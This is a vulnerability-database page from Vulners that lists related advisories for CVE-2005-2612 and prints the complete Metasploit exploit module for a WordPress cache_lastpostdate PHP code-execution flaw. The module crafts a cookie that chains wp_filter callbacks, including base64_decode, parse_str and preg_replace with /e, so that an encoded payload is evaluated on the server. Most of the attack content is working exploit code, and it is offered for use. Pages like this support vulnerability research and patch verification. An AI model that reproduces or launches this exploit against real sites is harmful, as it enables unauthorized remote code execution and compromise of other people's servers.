Lucene search
K

WordPress cache_lastpostdate Arbitrary Code Execution

🗓️ 23 Mar 2015 07:15:04Reported by str0ke <[email protected]>, hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

WordPress cache_lastpostdate Arbitrary Code Execution in PH

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
WordPress < 1.5.1.4 RCE
10 Aug 200500:00
nessus
Tenable Nessus
WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection
11 Aug 200500:00
nessus
Circl
CVE-2005-2612
3 Jul 201000:00
circl
CVE
CVE-2005-2612
17 Aug 200504:00
cve
Cvelist
CVE-2005-2612
17 Aug 200504:00
cvelist
Debian CVE
CVE-2005-2612
17 Aug 200504:00
debiancve
Exploit DB
WordPress Core 1.5.1.3 - &#039;cache_lastpostdate&#039; Arbitrary Code Execution (Metasploit)
3 Jul 201000:00
exploitdb
NVD
CVE-2005-2612
17 Aug 200504:00
nvd
OSV
DEBIAN-CVE-2005-2612
17 Aug 200504:00
osv
Packet Storm
WordPress cache_lastpostdate Arbitrary Code Execution
24 Mar 201500:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
        blogging software. This vulnerability is only present when the PHP 'register_globals'
        option is enabled (common for hosting providers). All versions of WordPress prior to
        1.5.1.3 are affected.
      },
      'Author'         => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-2612'],
          ['OSVDB', '18672'],
          ['BID', '14533'],
          ['WPVDB', '6034']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find'
            },
          'Space'       => 512
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2005-08-09',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
      ])
  end

  def exploit

    enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
    str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
    data =
      "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
      "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
      "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
      ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
      "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
      "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

    # Trigger the command execution bug
    res = send_request_cgi({
        'uri'      => normalize_uri(datastore['URI']),
        'cookie'   => data
      }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.5
EPSS0.38771
24